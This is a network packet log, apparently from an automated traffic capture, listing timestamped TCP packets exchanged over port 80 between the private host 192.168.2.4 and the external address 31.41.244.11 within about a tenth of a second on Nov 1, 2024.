Nov 1, 2024 10:57:11.074779987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074790001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074816942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074829102 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074847937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074857950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074867964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074879885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074891090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074893951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074903965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074919939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074924946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074929953 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074965954 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074997902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075010061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075018883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075030088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075037956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075048923 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075064898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075076103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075077057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075095892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075103998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075105906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075117111 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075133085 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075145960 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075156927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075162888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075186968 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075211048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075222015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075232029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075242043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075253963 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075268030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075274944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075293064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075303078 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075320005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075320959 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075330973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075340986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075351000 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075370073 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075422049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075433016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075442076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075453997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075468063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075500965 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075504065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075516939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075526953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075539112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075541973 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075567007 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075589895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075612068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075623035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075634003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075644970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075654984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075658083 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075665951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075678110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075685978 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075689077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075696945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075704098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075715065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075715065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075742960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075752974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075762987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075768948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075773954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075788975 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075793982 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075824022 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075839043 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075855970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075865984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075875998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075886011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.075900078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075923920 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.075989962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076001883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076010942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076023102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076029062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076034069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076040030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076055050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076071024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076071978 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076081038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076096058 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076103926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076113939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076123953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076128006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076134920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076145887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076153994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076159000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076174974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076179028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076190948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076193094 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076200962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076212883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076214075 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076234102 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076261997 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076275110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076284885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076294899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076318979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076342106 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076456070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076467991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076478004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076489925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076503038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076507092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076518059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076527119 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076528072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076539993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076540947 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076551914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076564074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076569080 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076575041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076586008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076596975 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076605082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076605082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076627970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076631069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076642990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076649904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076652050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076664925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076674938 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076677084 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076685905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076697111 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076705933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076708078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076718092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076726913 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076747894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076761961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076771021 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076773882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076807976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076817989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076828957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076838017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076849937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076860905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076860905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076879025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076889038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076891899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076915979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076924086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.076978922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076987982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.076997995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.077008009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.077017069 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.077018976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.077029943 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.077040911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.077042103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.077052116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.077059031 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.077084064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.077106953 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.077116966 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.077127934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.077137947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.077150106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.077161074 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.077188015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.106374025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.106385946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.106401920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.106408119 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.106419086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.106430054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.106448889 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.106479883 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.160989046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161034107 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161045074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161056042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161066055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161077976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161092997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161101103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161103964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161139965 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161159992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161171913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161183119 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161194086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161196947 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161223888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161264896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161276102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161284924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161297083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161312103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161326885 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161344051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161350012 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161361933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161374092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161381960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161398888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161406994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161482096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161494970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161504984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161515951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161526918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161530018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161539078 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161550045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161557913 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161561012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161577940 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161591053 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161614895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161627054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161638021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161653996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161664009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161674023 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161674023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161699057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161710024 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161727905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161736965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161746025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161766052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161772966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161773920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161786079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161798000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161799908 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161813974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161817074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161830902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161840916 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161859989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161869049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161871910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.161895037 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.161920071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.162009954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162019014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162034988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162045956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162053108 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.162056923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162076950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162079096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.162090063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162101030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.162125111 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.162143946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162153959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162166119 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162174940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162189007 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.162208080 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.162214041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162225008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162233114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162256956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.162267923 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.162300110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162312984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162322998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162349939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.162374973 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.162389040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162873983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162884951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162894964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162916899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.162942886 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.162972927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.162983894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163002968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163013935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163019896 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163027048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163048983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163080931 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163089991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163100958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163111925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163124084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163135052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163135052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163146973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163153887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163201094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163212061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163228989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163232088 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163232088 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163239956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163255930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163255930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163264036 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163273096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163283110 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163284063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163331985 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163449049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163479090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163490057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163490057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163511038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163513899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163532019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163551092 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163630962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163666010 CET	80	49820	31.41.244.11	192.168.2.4
